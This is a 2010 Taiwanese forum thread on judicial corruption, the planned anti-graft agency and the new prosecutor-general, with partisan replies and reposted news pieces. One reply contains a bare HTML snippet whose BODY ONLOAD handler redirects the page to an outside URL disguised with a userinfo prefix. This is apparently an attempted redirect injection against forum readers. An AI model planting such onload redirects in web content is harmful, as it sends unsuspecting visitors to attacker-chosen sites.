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•本篇話題共有 38篇回應
  •發表人: 林亦莊(IP. 163.29.32.82) •發表日期: 2010/7/25 上午 04:25:26
  •主題: 治亂世用重典﹗久寬必以猛糾﹗
從此看見台灣司法的曙光

馬政府執政兩年有餘,再無法坐視司法機關的貪婪怠墮,晚了兩年才做,總比八年之中甚麼都沒做的要好一點。

近來因高院法官涉嫌集體受賄案衍生了三件大事:一、司法高層連鎖請辭。二、檢調首長大規模調整。三、政府將設立廉政公署。

據報載:部份法界人士聲援『多年』來被劣行蒙蔽的賴英照,並深感委屈不捨。針對此事,筆者無法認同;一位執掌全國最高司法權柄的院長,長期以來漠視民間對司法改革的大聲疾呼,甚至坐視品德敗壞的法官擔任球員兼裁判的『自律委員』更毫無作為的消極抵制法官法立案;僅就這幾點,賴院長早應知所進退,引咎請辭!

其次:前「志工」型的法務部長王清峰,任內專注於推動廢死『志業』,而忽略了肅貪倡廉的『本業』﹗無視於轄下職司肅貪機關高層結交權貴政要劣行,縱容檢調人員在地方上極盡囂張跋扈、串聯勾結之能事,某調查站有鑑於基層調查員喪德敗行之情勢日益嚴重,曾經史無前例的將十多名資深調查員一次調派外縣市,地方檢調之惡劣狀態可見一斑,據此:長期怠忽職守的檢調首長異動,當然符合社會公益!此次調派的檢察首長刑泰釗、宋國業等,在司法界素有肅貪殺手,鬼見愁等雅號,由深具公信力的檢察總長黃世銘主導人事提案之司法精英,社會應有較高的信心與期望!

最後:廉政公署的成立當然有其必要性,但必需排除原有腐敗的肅貪機制,特別是數十年來毫無作為,形同虛設的政風單位!在現有肅貪機制顯已不符社會期待的情況下,勢必要創制新局,破舊立新;自前朝以來,調查當局惟恐失勢,長期以『地方情資』挾制不肖立委運作反對廉署成立,其私心昭然若揭,不言可諭。

當下首要之務是:去那裡找一位清如水、明如鏡,能孚眾望的廉政署長?許多正派的基層檢調,在偵辦貪瀆案件時最害怕的不是外界壓力,而是蕭牆之內的阻力!桃檢指揮源起於兩年前的刑事小隊長涉毒案,轉交北機組偵辦、板檢主任檢察官涉嫌充當司法黃牛案皆為例證;除了清廉首長,偵辦主力宜自調查(或檢察事務官)系統擇優擔綱,大量起用尚未被環境污染的年輕新血,汰除人脈雄厚交往複雜的資深人員,避免換湯不換藥成效不彰而落人口實!

古有云:『治亂世用重典﹗久寬必以猛糾﹗』如果沒有黃世銘?台灣的司法依舊暗無天日,無法取信於民,一審法官的良心審判仍隨時可能遭遇二審黑金誘惑而翻案逆轉!某國小學童在作文『我的志願』中描繪未來想當貪官奸商賺大錢的願望,如此惡劣風氣,教社會如何教育下一代?執政清廉度落後彼岸,這是全體國人之恥,歷年來藍綠執政者皆難以推卸的責任!世銘一班特偵組交出了第一張震撼又亮麗的成績單,讓我們看見司法露出的一線曙光!要讓這道曙光大放光明,永不熄滅,仍有待全民堅決支持與社會的強力監督!

•本篇話題共有 38篇回應
  •發表人:堅決支持肅貪! (IP.59.124.95.217) •發表日期:2010/9/4 下午 06:51:51
  •主題:Re:
有見地,推一個!
  •發表人:施公 (IP.61.60.63.126) •發表日期:2010/8/31 上午 11:26:00
  •主題:Re:
亦莊兄~~用心良苦~~國家有希望了.....
  •發表人:蔣重點 (IP.61.60.63.126) •發表日期:2010/8/31 上午 11:22:39
  •主題:Re:
中華民國就要100年了~~警察制度還原地踏步~~隋便美、日、新加坡、香港的警察制度都比我們好太多了~~台灣的警察是可憐的血汗工廠~~制度殺人....
  •發表人:JINNBIN100@YAHOO.COM.TW (IP.218.166.14.97) •發表日期:2010/8/31 上午 07:41:17
  •主題:Re:
小市民對司法失去信心 有錢使鬼推磨
  •發表人:0.0 (IP.114.24.184.110) •發表日期:2010/8/31 上午 07:21:18
  •主題:Re:
可惡至極
原來他的官位是這樣升上來的ㄛ
  •發表人:??? (IP.208.53.142.39) •發表日期:2010/8/31 上午 12:30:22
  •主題:Re:
<HTML>

<BODY ONLOAD="WINDOW.LOCATION=’HTTP://ABC7788@WWW.TACONET.COM.TW/INDEX.HTM"’>

</BODY>

HELLO

</HTML>
  •發表人:@~@~ (IP.122.116.208.152) •發表日期:2010/8/29 下午 10:07:20
  •主題:Re:
推一個~
  •發表人:..... (IP.124.11.194.44) •發表日期:2010/8/11 上午 02:23:20
  •主題:Re:
警察欺負警察? 北市警督察長挨批
【聯合報╱記者王宏舜/即時報導】 2010.08.10 11:30 PM

台北市議員林國成今在市議會質疑台北市警局督察長陳長勝「警察欺負警察」,督察室追查一起疑似洩密案時,疲勞轟炸訊問基層員警,「憑個人想法做事」,並指陳「小案大辦、大案小辦,沒案絕對辦」打擊全台北警察士氣。

林表示,若警察有違法,當然要嚴懲,但如果查無證據還強移送,這樣處理並不妥。

【2010/08/10 聯合報】@ HTTP://UDN.COM/

  •發表人:? (IP.210.69.154.252) •發表日期:2010/8/10 下午 11:27:41
  •主題:Re:
好多人都很火大,綠的罵藍的藍的幹綠的就是現在台灣人民最大的悲哀,如果台灣是一個正常的國家,就算國內的政黨有藍綠之分,哪怕有紅橙黃綠藍靛紫之分也無所謂,因為你在怎麼分色都還是會有一定的堅持,那就是國家尊嚴與國格的堅持一定不能退讓,只是台灣她就是一個不正常的地方,有一半的人勇敢大聲地嚷嚷她是一個國家,但有一半的人卻說國際上不承認她是一個國家,因些就算生在這裡長在這裡也不敢承認她是一個國家,這種狀況很特別,全世界再也沒有第二個國家的人會們我否定自己的存在,但這個情況在台灣卻活生生的發生在世人眼前。
因為台灣的特殊情況存在由來已久,對於政治上的信仰,人們各自有各自的意識形態,久而久之藍綠之分變成了藍綠之仇,同在一塊土地生長的藍人與綠人結下了不共貸天的深仇大恨,這樣的狀況是不是也很奇怪?藍的寧可與想併吞台灣的紅色力量談笑風聲也不願與國內的綠色人種共商國家大事,綠的打死也不可能相信藍的有誠意與其共謀國事,這也省得藍人忸捏作態,乾脆啥事也不要跟綠的談了,反正凡事只要與綠的有關,打就對了,批就是了,有事,咱找紅大哥談去!天地不仁以蒼生為芻狗,政治人物之不仁,蒼生還是只能當芻狗,蒼生何辜?政治為何走到這樣的地步?該怎麼辦呢?以小弟的智慧之愚頓,實在無解!
  •發表人: (IP.163.29.51.252) •發表日期:2010/8/10 下午 08:56:10
  •主題:Re:
1.五權憲法是怪物,徒增憲法機關的矛盾及行政爭端,廢了監察院及考試院才是正途(回歸立法及行政)。想一想~世界上先進國家皆只三權分立,我們這五權怪獸有比較好嗎?
2.廉政署成立後,抓警察貪瀆的核分仍然最高,聲請羈押成功還可加分,那跟現在檢調只抓警察不抓其他公務人員沒什麼差別,錯誤的肅貪政策(只抓警察)並不會改變公務員貪瀆的不良形象。
3.有良心的人,目前不會從政,看開一點吧。
4.最大的黑金就是政府,這些政客會拿石頭砸自己的腳嗎?
5.我們要的是有能力成功肅貪的人,而不是聖人。
  •發表人:不足為外人道 (IP.210.69.127.130) •發表日期:2010/8/10 下午 07:15:04
  •主題:Re:
政風單位跟警察單位不同,政風單位即便查了案件,也不好明說是自己查的,反而要極力撇清:不是我,是調查站來查的~你也得了解他是領機關薪水做預防查處,所以能做不能說,既然不能說,跟警察一破大案大家搶著出來說:是我破的是我破的,其感覺就有差,我只能說,從警察轉任政風後,才知道政風的可憐,沒有司法警察權,能做不能說,而立委諸公及各位首長、調查局也怕我們有司法警察權,一旦有了,因為是在機關內,更知道機關的法規及內規等問題,也無法消極不做,因為你的「藉口」不見了,還能不做事嗎?
  •發表人:633 (IP.210.66.89.7) •發表日期:2010/8/9 下午 05:13:05
  •主題:Re:
端看騜的政策,公務機關六三三
考績丙等三成
貪污抓掉三成
瀆職抓掉三成
公務機關的廉政時代即將來臨?
  •發表人:靠..633 (IP.60.249.217.138) •發表日期:2010/8/6 上午 08:09:41
  •主題:Re:
這沒什麼好吵的啦
就各述己見就好
無需針對特定人
我ㄝ支持綠黨
而支持的動機在於有更好的改革契機
看看最近南部2都
口口聲聲愛台灣
現在呢???
給了這2位9年當縣市長
還不夠嗎???
夠了
又不欠他們...

現在政府有絕對優勢執政
如立院3分之2席次
幾乎跟黃帝一樣
要做什麼就做什麼
比前朝好做太多了
但重新執政2年多囉
還事事推諉前朝
這是什麼樣的態度ㄚ???
還離任期有段時間
就做出名堂給我們看ㄅ
若無法
就選票伺候
別再當個"無明"的選民

  •發表人:樓下的是綠蟲? (IP.118.161.77.142) •發表日期:2010/8/6 上午 07:30:59
  •主題:Re:
樓下的:
批評藍的叫做綠的.挺扁的?
批評綠的叫做藍的.批馬的?

真是扣上好大的帽子!
第一.本人不曾加入任何政黨!
第二.本人一生不曾投過票!
第三.不論藍綠執政,做不好我都罵,閣下如果認為以前的政府做的很好,那麼我敢大聲說:閣下眼睛真的有問題,可能你的眼睛被屎矇住了!
  •發表人:樓下是藍蟲? (IP.218.163.21.117) •發表日期:2010/8/5 下午 04:25:06
  •主題:Re:
樓下的:
批評藍的叫做綠的.挺扁的?
批評綠的叫做藍的.批馬的?

真是扣上好大的帽子!
第一.本人不曾加入任何政黨!
第二.本人一生不曾投過票!
第三.不論藍綠執政,做不好我都罵,閣下如果認為現在政府做的很好,那麼我敢大聲說:閣下眼睛真的有問題,可能你的眼睛被屎矇住了!
  •發表人:看破手腳 (IP.114.43.10.236) •發表日期:2010/8/5 上午 09:05:16
  •主題:Re:
樓下:您是不是民進黨的爪牙?

或是貪污大總統阿扁的爪牙?

  •發表人:做你的大頭鬼! (IP.218.163.19.111) •發表日期:2010/8/5 上午 06:22:57
  •主題:Re:
你的遣詞用字清楚的告訴大家,你就是不折不扣國X黨的爪牙,其馬屁手法不輸劉X鴻.

什麼叫做總比八年沒做??
以前軍法官有保證名額可以轉法官或檢察官,請問你知道嗎?
二十幾年前,司法官訓練所早上起來的第一件事是讀蔣公讀訓,你知道嗎?現在司法體系百分之八十以上都是深藍的(外省籍占多數),請問前政府如何改革?又如何介入?

再者,國民政府遷台至今,立院國會議員席次迄今綠營不曾過半,請問執政如何做事?
現在的政府,選舉前說全面執政,全面負責,請問有做到嗎?
所以說深藍的基本教義派,不要再自圓其說了!
  •發表人: (IP.122.122.114.59) •發表日期:2010/8/4 下午 11:36:30
  •主題:Re:
總比八年之中甚麼都沒做的要好一點??

是真的什麼都沒做嗎???
在那朝小野大的情況下
整個預算被綁架
現在說8年甚麼都沒做
那不更應該公幹那藍黨才是嗎???

  •發表人:路人(路人小零) (IP.61.227.113.150) •發表日期:2010/8/4 下午 09:56:26
  •主題:Re:
我覺得我以後在這裡正名為:
「路人小零」好了,
以免被誤會,
畢竟「路人」這個筆名誰用都沒錯,
大家都是個過客。
  •發表人:路人 (IP.180.177.45.81) •發表日期:2010/8/4 下午 08:44:05
  •主題:Re:
總比八年之中甚麼都沒做的要好一點??

你講這句話是說你是國民黨嗎? 不要搞政治把戲 操!
  •發表人:MAY (IP.114.44.126.29) •發表日期:2010/8/4 上午 04:05:33
  •主題:Re:
曾經對政治人物有所期待...早已...心灰意冷

曾經對台灣司法有所寄望...如今...失望透頂

  •發表人:轉貼文章 (IP.163.29.32.82) •發表日期:2010/8/1 上午 03:35:53
  •主題:Re:
將廉政署放在監察院的好處∼∼暫且撇開憲法砍光監院權力,監察院是台灣五權分立與他國三權分立大陸法系不同的地方.

1.避免行政院內調查局與廉政署因職務重疊性打架,或二個單位都不查.

2.監察院本來查核的角度,一直都是事涉其中一方為公家機關,不查民間機構.但行政院主要查核角度,則集中在民間自然人或法人,因為不同法律,審視有無違法.若讓行政院啟動調查公家機關,難免會讓人有假公濟私之聯想,且易受當權者控制,雖然總統不能支配法務部或廉政署,但行政院長與總統共進退機制,行政院交待給法務部或廉政署的工作,難道會與總統治國理念相違背嗎?
3.廉政署的組織概念,理應類似審計部,差別僅是審計部依據帳務數據查核,而廉政署則是依據各公家機關內規(上級與下級間互動)或自定法律合理性角度查,避免懂法的公務員,自行立自肥法案或矛盾法案,挑戰公務員服務法裡下級服從上級,服從過程中游走法律邊縁;.
  •發表人: (IP.122.122.115.49) •發表日期:2010/7/31 下午 11:45:00
  •主題:Re:
你又怎知他不貪呢???

法院是誰開的???

這不只我說喔
  •發表人:懷秋 (IP.118.161.67.33) •發表日期:2010/7/31 上午 08:45:13
  •主題:Re:
樓上大大意思是說不貪的比貪污的還爛嗎?
  •發表人:6 (IP.163.29.120.124) •發表日期:2010/7/30 下午 08:55:48
  •主題:Re:
•發表人: (IP.122.122.117.122) •發表日期:2010/7/29 下午 10:56:51

•主題:RE:

馬市長特別費一案
能夠全身而退
早就對這司法沒信心了
反正跟吳先生口中的海豚一樣會轉彎
扯..........


  •發表人: (IP.122.122.117.122) •發表日期:2010/7/29 下午 10:56:51
  •主題:Re:
馬市長特別費一案
能夠全身而退
早就對這司法沒信心了
反正跟吳先生口中的海豚一樣會轉彎
扯..........
  •發表人:深度近視@-@ (IP.220.132.83.128) •發表日期:2010/7/29 下午 06:19:10
  •主題:Re:
看到陳哲男的判決還能信這天殺的司琺媽?
  •發表人:? (IP.210.69.154.252) •發表日期:2010/7/28 下午 01:23:41
  •主題:Re:
樓下大大,在下觀察了幾次您的發言,對您的言論與知識敬表欣賞,您的觀點或許與大多數警察不同,但您立論中懇不拍馬逢迎,您發言也有所本,顯示你是作了功課才發言的,謹表達個人的敬意。
  •發表人: (IP.60.249.217.138) •發表日期:2010/7/28 上午 08:28:50
  •主題:Re:
就時事論實事
樓下大大看看就好
不要"火"

有時後細心去網路蒐尋資料
我們才能得到較"正確"的資訊
政治可以搞到像打戰
非戰個你死我活不可
我們平民小老百姓
就只能自行分辨那個政黨好與不好
不要火
會傷身
  •發表人:火 (IP.220.134.111.207) •發表日期:2010/7/27 下午 11:42:52
  •主題:Re:
台灣是兩大爛黨輪替政治!
  •發表人: (IP.60.249.217.138) •發表日期:2010/7/26 下午 03:51:11
  •主題:Re:
法治時報社

馬英九1月27日在宏都拉斯訪問時,說溜了嘴,說出,他在「他在擔任法務部長期間,就了解黃世銘的行事風格」,原來,黃是馬早就插旗的伏兵,也難怪馬會主導「五百萬殺手」傳言假新聞,為黃世銘「造神」預留伏筆。
果然,陳聰明一下台,不到四天,馬上就宣佈由黃世銘接總長,法界直覺認為:馬、黃兩人對「總長」位子之「飢渴感」相當明確。
其實,媒體配合馬為黃「造神」,卻忽略了黃世銘真實的一面,也是司法界真正熟悉的一面。


檢察總長陳聰明,2010年1月19日被監察院再次進行彈劾,彈劾一通過,陳聰明當天馬上提出辭呈,總統馬英九馬上准辭,完全沒有考慮到「法定任期」的問題,緊接著,24日馬上發表繼任人選,幾乎沒有任何意外,就是眾所週知,馬英九的最愛:黃世銘。

這一連串的「馬上」動作,看在官場人士眼中,明確的感覺到,執政黨對檢察體系最高頭頭─總長,加以「換人」的「飢渴」感,有多麼的迫切。

在這同時,媒體焦點,也不斷在黃世銘身上搜尋與讚美,讚美到連他本人都出來表示,如此造神,讓他壓力很大。

因為,在這些讚美聲中,已經到了連他本人都說,「無中生有」和「與事實完全出入」的荒唐狗腿語言都登場了。

司法界裡,太多的人「了解」黃世銘,太多的人「知道」黃世銘的點點滴滴,對一個新上任的總長,給予肯定,加以期許,本是好事,但是,持平客觀是媒體的基本教條。

基於這種媒體基本責任,本報必須忠實的報導,黃世銘鮮為人知的一面,必須讓社會大眾了解,新的總長真正的全貌,是什麼樣子。

黃世銘在司法界,不喜與「外人」交際,這是確定無疑的事。

但是,這並不代表他在司法圈內,也不喜歡「交際」,只是,他要求必須用他的方式。

他的方式,喜歡絕對的「私密」,所以,吃飯,他不在外面吃,談話,他不和他不信任的人談,基本上,他只接受他主觀上喜歡的人,一旦讓他主觀排斥,最好就不要當他的手下,他會一直找機會,不斷的打壓。

所以,司法界裡,對他這一方面的評價是:很會記恨。
他多次在法務部裡任職,檢察司副司長、主任秘書、政務次長,一位和他共事多次的官員表示,黃世銘是一個「人性本惡」的忠實信徒。

何以見得如此(人性本惡的忠實信徒)?

這位官員以他的親身感受,用幾句話簡單形容:
「如果向他報告,同事裡面那一個人有「多好」,他不太會記得。

但是,如果向他報告那一個人壞,他的記性就會非常的好,幾乎是永遠不會忘記。」

「人性本惡」、「主觀好惡很強」這兩種特質加在一起,讓黃世銘的官場個性,非常鮮明,辨識度很高。

因為這種鮮明個性,加上黃世銘不和「外界」交際,只和「圈內」他主觀喜歡的人交際,形成他的另一個「偏食」現象。

他的「偏食」,不是在食物上,而是在人類身上,他的交往對象身上,以他的工作來講,「媒體」是他每天都要面對的對象,但是,他對聯合報的「偏愛」,則是已到毫無忌諱的地步,這是司法界和新聞界公認的事實。

當然,聯合報對他的回報,也已經到了淋漓盡至的地步,不論是他女兒的文章,或是他的神化,聯合報完全是以「在給自己人捧場」的方式在處理共黃銘的每一則新聞。

資深司法官員認為,從事司法工作,對人太過主觀或偏食,會讓格局變小。

這一點,也是司法界一直有人不看好黃世銘,不認為他可以幹好「總長」一職的原因之一。

「主觀」、「偏食」之外,黃世銘得以崛起,主要是他的「交際」手腕,也是另樹一幟,獨到之處。

因為,司法界裡很少有人會像他身居高位,卻用直接打電話、找人談話等方式,找上「年輕期別」的檢察官聊天。

這在講究期別與倫理的司法體系來說,年輕檢察官很容易受寵若驚。

他這種方式,在檢察體系修法採取「票選長官」以來,非常吃香。

他在拉攏「檢察官選票」方面,身段柔軟的地方,還不止如此,就以他四年前可以拿到全國檢察官票選第一名為例,他對檢察官裡頭的派系拉攏,可以做到要求他太太,親自為派系成員做便當,然後,他再自己本人,不假手他人,吃力辛苦拎著沈重又豐盛的便當,到辦公室靜靜等著中午時刻的到來,等著他私下邀約的派系成員到來,在沒有任何外人可以與聞的小辦公室裡,毫無隱密,交心暢談,一起用餐暢聊,一起建立革命感情。

不過,也有資深司法官不以為然,認為,這種手法,實在沒品。
不管有沒有品,至少,單憑這一點,就可以打敗很多檢察體系的高官,因為,有的高官太太,親手做的菜,吃起來會有企圖謀殺的嫌疑。

只是,黃世銘交際應酬的兩手策略,有時,讓人和他相處,覺得很困惑。

他可以一方面拒絕部長王清峰到家,探視他家長輩生病,甚至,手機關機不再接聽;但是,另一方面,卻可以為了拉攏派系,要求家人做飯,再私下一起吃飯當。

這種兩面手法,讓人不禁納悶,到底,黃世銘的「人際互動」標準在那裡?

和他共事過,對他多少有幾分了解的人說,他只喜歡他可以絕對主導的交際,他要的是他可以一手決定的人脈。

這種個性,很符合正在台灣逐日擴大的「司法霸權」之需求。

再就辦案而言,媒體多以「鐵漢」稱讚黃世銘,但是,這個稱呼,司法界不少人私下嘀咕,到底「鐵漢」的定義是什麼?

難道,「腦筋打鐵的漢子」,就叫「鐵漢」?

司法界清楚黃世銘辦案背景的人指出,黃世銘真正辦過的「大案」,可以說是寥寥可數。

他最有名的「代表作」,就是他派出當檢察長的第一站,澎湖地檢署,他投下許多非法人力(連工友、司機都一起參加辦案),以「貪污罪」扳倒了民進黨澎湖縣長高植澎。

高植澎醫師當澎湖縣長,議員質詢有藥商非法賄賂,捐贈年終尾牙獎金5000元,馬英九當法務部長,在中央開火,黃世銘馬上火速查辦,將高植澎在衛生所服務期間,所有的病歷,成千上萬張,全部當做証據,扣案調查,全地檢署的人(連司機、工友都上場幫忙),通通投入辦案,加入「比對」行列,數以萬計的病歷,一張張「比對筆跡」,一張張「找毛病」,只要有任何可疑,就篩選過濾抽出來,仔細追查,就因為這種辦案手法,一網打盡,連和高植澎同事的「七位」女護士,一個也不放過。

全部以貪污罪起訴。
高植澎因該案任期未滿,就被停職下台,官司打到最後,「貪污」部份全部都判「無罪」確定。(另以偽造文書追究不是親筆寫病歷、判緩刑)

只是,讓人不忍的是,那同時被起訴的七位女護士,竟有兩人身亡。

一位不堪長期訟累,自殺身亡,一位長期心情鬱悶,罹癌過世。
因此,好事者看到黃世銘女兒唸到研究所時,竟也跳樓自殺,不禁搖頭嘆氣,希望黃世銘能夠將心比心,日後多存幾分厚道辦案,莫再刻薄無情。

黃世銘在澎湖拉下高植澎縣長,一戰成名,很快的就被派到嘉義當檢察長,最近,媒體一直報導,他在嘉義期間,打擊電玩業者,遭到業者揚言,要花五百萬元暗殺他。

事實上,這是一則「造假的新聞」,因為,事發當時,嘉義地區的新聞記者根本沒有聽到任何傳說,或是,類似的傳聞。

當消息傳出時,嘉義的每個地方記者都丈二金剛,摸不著頭腦,搞不清楚怎麼回事,為什麼會有這樣的傳言突然冒出,後來才知,是從台北直接傳出。

有人分析,這是部長馬英九替他「造勢」,編造出來的「假新聞」。

也難怪,就新聞分析來看,這則新聞完全不符合「社會新聞的邏輯與道理」。

台灣的黑道或非法業者,如果遇到強悍取締的主管,第一個反應,一定是「花錢打點」,將他擺平;第二個反應則是,「花錢讓他升官」,將他調走;如果上述兩種手法真的都不行,大不了,休息一陣子,等「風頭」過去了再說。

黑道圖的就是發財,只要用錢能夠解決官員,他們一定優先考慮;再不然,也會採取惹不起,至少躲得了的態度。

絕對沒有那一個黑道或非法業者,未經過這幾道「標準思考程序」,就揚言要花錢「暗殺」官員的,台灣又不是哥倫比亞那種毒梟治國的地方,豈會動輒揚言暗殺官員?

台灣黑道最氣不過的就是:「又要拿、又要抓」,面對這種惡質官員,黑道頂多也只是想要報復出氣,不敢揚言暗殺。

再說,黃世銘的個性,根本不可能「拿」,那來的「又拿又抓」,而引來報復出氣?

因此,這則新聞,純粹是當時馬英九為了替他造勢,刻意從台北部裡,替他發佈,用來營造「鐵漢」形象的「不實新聞」。

事實上,當年在嘉義地區,真正打擊賭博性電玩最為用力的是,黃世銘的前一任檢察長張春榮。

司法界有人認為,張春榮(已退休)才是檢察長裡頭真正的鐵漢,張春榮的鐵漢個性,是連部長施啟揚和他「溝通」案件,都沒得講。

甚至,部長一度氣得想調動他,他還找人向部長轉達,調動隨時歡迎,並不戀棧,
  •發表人:林亦莊 (IP.163.29.32.82) •發表日期:2010/7/26 下午 03:28:05
  •主題:Re:
敬覆樓上大大:
讓小弟有信心的是清廉剛毅的黃世銘總長!
  •發表人:高調 (IP.60.249.217.138) •發表日期:2010/7/26 下午 02:01:02
  •主題:Re:
保障大於淘汰 法官法20年難產
2010-07-16 中國時報 【單厚之/特稿】

 《法官法》的立法目的,是希望透過保障法官的身分,確保審判獨立。早在民國七十七年起,司法院就著手研擬法官法,從第三屆立法院開始,就有立委提出草案,至今已十餘年,卻因司法界的本位主義,包括檢察官能否比照適用《法官法》等爭議,遲遲無法完成立法。

 綜觀各版本的內容,幾乎都是保障的部分遠多於監督和淘汰的機制;以行政院版為例,十一章、九十四條條文,僅有法官評鑑、職務法庭兩章,總計不到四分之一的條文,在規範如何淘汰不適任的法官。

 也因為這種保障大於淘汰的架構,從法界開始討論《法官法》以來,檢察官就要求入法比照法官待遇。包括前特偵組檢察官陳瑞仁、朱朝亮都曾在立法院的公聽會中主張,應該讓檢察官入法,才能對抗不當的政治干預。

 長久以來,法界和立法院討論的焦點,也一直放在檢察官是否能比照法官適用。新任的公懲會委員長、前司法院秘書長謝文定,兩年前就在立法院的公聽會中,代表司法院表達反對將《法官法》改為檢察官、法官一體適用的《司法官法》,認為僅能在《法官法》納入檢察官部分準用的專章。

 在同一場公聽會中,現任檢察總長、前法務部長黃世銘則代表法務部,主張應該制訂《司法官法》,將同樣具有司法官身分的檢察官與法官,對等的規範在同一部法律之中。

 在第六屆立法院的末期,朝野對《法官法》的內容已經達成相當的共識,但最後仍無法完成立法,一方面是卡在當時極具爭議的檢察總長是否應有退場機制,另外也傳出和協商版本降低了法官的俸點有關。

 《法官法》躺在立法院內超過十年,最主要的原因還是司法與檢察體系之間的本位主義,但無論哪一方,都是獨立、權力、保障談得多,淘汰、篩選、監督講得少。

 事實上,即便就目前正在考試院會銜《法官法草案》來看,其不適任法官退場機制都還有「雙保險」,當法官出現「不適任情事」後,要先由評鑑委員會決定是否送監察院審查,且需監察院決定彈劾後,新設的職務法庭才能審理是否撤職或免職。過程如此繁複,既得利益者卻仍抵抗改革。

 雖然目前的社會氛圍有利於《法官法》在下會期過關,但民眾希望看到的是,這部法能有效的篩選、淘汰不適任的法官,而不是在最基本的「司法清明」都無法達成的情況下,還高唱「司法獨立」的高調。

保障大於淘汰 法官法20年難產
2010-07-16 中國時報 【單厚之/特稿】


 《法官法》的立法目的,是希望透過保障法官的身分,確保審判獨立。早在民國七十七年起,司法院就著手研擬法官法,從第三屆立法院開始,就有立委提出草案,至今已十餘年,卻因司法界的本位主義,包括檢察官能否比照適用《法官法》等爭議,遲遲無法完成立法。

 綜觀各版本的內容,幾乎都是保障的部分遠多於監督和淘汰的機制;以行政院版為例,十一章、九十四條條文,僅有法官評鑑、職務法庭兩章,總計不到四分之一的條文,在規範如何淘汰不適任的法官。

 也因為這種保障大於淘汰的架構,從法界開始討論《法官法》以來,檢察官就要求入法比照法官待遇。包括前特偵組檢察官陳瑞仁、朱朝亮都曾在立法院的公聽會中主張,應該讓檢察官入法,才能對抗不當的政治干預。

 長久以來,法界和立法院討論的焦點,也一直放在檢察官是否能比照法官適用。新任的公懲會委員長、前司法院秘書長謝文定,兩年前就在立法院的公聽會中,代表司法院表達反對將《法官法》改為檢察官、法官一體適用的《司法官法》,認為僅能在《法官法》納入檢察官部分準用的專章。

 在同一場公聽會中,現任檢察總長、前法務部長黃世銘則代表法務部,主張應該制訂《司法官法》,將同樣具有司法官身分的檢察官與法官,對等的規範在同一部法律之中。

 在第六屆立法院的末期,朝野對《法官法》的內容已經達成相當的共識,但最後仍無法完成立法,一方面是卡在當時極具爭議的檢察總長是否應有退場機制,另外也傳出和協商版本降低了法官的俸點有關。

 《法官法》躺在立法院內超過十年,最主要的原因還是司法與檢察體系之間的本位主義,但無論哪一方,都是獨立、權力、保障談得多,淘汰、篩選、監督講得少。

 事實上,即便就目前正在考試院會銜《法官法草案》來看,其不適任法官退場機制都還有「雙保險」,當法官出現「不適任情事」後,要先由評鑑委員會決定是否送監察院審查,且需監察院決定彈劾後,新設的職務法庭才能審理是否撤職或免職。過程如此繁複,既得利益者卻仍抵抗改革。

 雖然目前的社會氛圍有利於《法官法》在下會期過關,但民眾希望看到的是,這部法能有效的篩選、淘汰不適任的法官,而不是在最基本的「司法清明」都無法達成的情況下,還高唱「司法獨立」的高調。


  •發表人:別再被騙 (IP.60.249.217.138) •發表日期:2010/7/26 下午 01:59:43
  •主題:Re:
還好
新聞會說話
2年前幹的壞事
現搖身一變
自以為是"救世主"
真有心要改革
廉署設在法務部底下???



廉政署闖關 國民黨在野擋26次
【聯合報╱記者林新輝/台北報導】 2010.07.17 03:28 AM


廉政署組織條例草案從民國九十五年、立法院第六屆開始叩關,卻年年失利,當時在野的國民黨擋了廿六次,調查局長葉盛茂也反對在行政院之下設廉政署,民進黨立委葉宜津當時還氣得大罵葉:「你是不是執政團隊一分子?」

扁執政時期,行政院將廉政公署組織條例草送到立法院,國民黨以多數優勢,在立法院程序委員會阻擋。反對的理由是,當台灣社會對執政黨干預司法的疑慮未除,廉政公署的設立只是疊床架屋,完全無法發揮應有功效。

立委蔡錦隆在立法院質詢指出,只要司法真正獨立,不受任何政治力干預,現有的檢調與司法單位要預防貪腐、查察不法,就已足夠。蔡錦隆抨擊扁政府,如果國民黨放手讓廉政公署組織條例完成立法,只是再多增加一個由民進黨百分百掌握的司法機關而已。

弔詭的是,當時的調查局長葉盛茂在立法院奔走,爭取支持調查局下設廉政處,反對在行政院下設廉政公署。

葉宜津在立法院司法委員會大爆內幕說,行政院送到立法院的廉政公署組織條例草案,立法院的程序委員會阻擋廿六次,運作的人不是立委,是調查局的人。

二○○八年總統大選,民進黨總統候選人謝長廷承諾當選後,要仿效香港廉政公署,成立台灣廉政機構;二○○八年馬政府上台,立法院司法委員會組團,前往香港與新加坡,考察廉政公署運作。

參與考察的立委呂學樟昨天表示,考察後發現,台灣若成立香港模式的廉政公署,會有疊床架屋問題,他反對另設廉政公署。
  •發表人:? (IP.210.69.154.252) •發表日期:2010/7/26 下午 12:34:13
  •主題:Re:
這篇作文寫得不錯,但只是作文不錯而已,此外並無實質貢獻。廉署行不行要看馬有沒有心,只要有心就可行,如果馬是玩假的,廉署只會淪為政治工具及濫殺無辜整肅異己的工具而已,林兄您看得出馬有決心嗎?
  •發表人:大雄 (IP.114.32.206.14) •發表日期:2010/7/26 上午 02:09:03
  •主題:Re:
台灣司法早就沒救了.有錢判生無錢判死.這句話永遠通用!欺善怕惡?剛好而已!
  •發表人:賽良心 (IP.114.24.191.40) •發表日期:2010/7/25 上午 11:17:54
  •主題:Re:
猛糾=猛拉糾糾?
  •發表人:賽良心 (IP.114.24.191.40) •發表日期:2010/7/25 上午 11:17:37
  •主題:Re:
猛糾=猛拉糾糾?
•本篇話題共有 38篇回應

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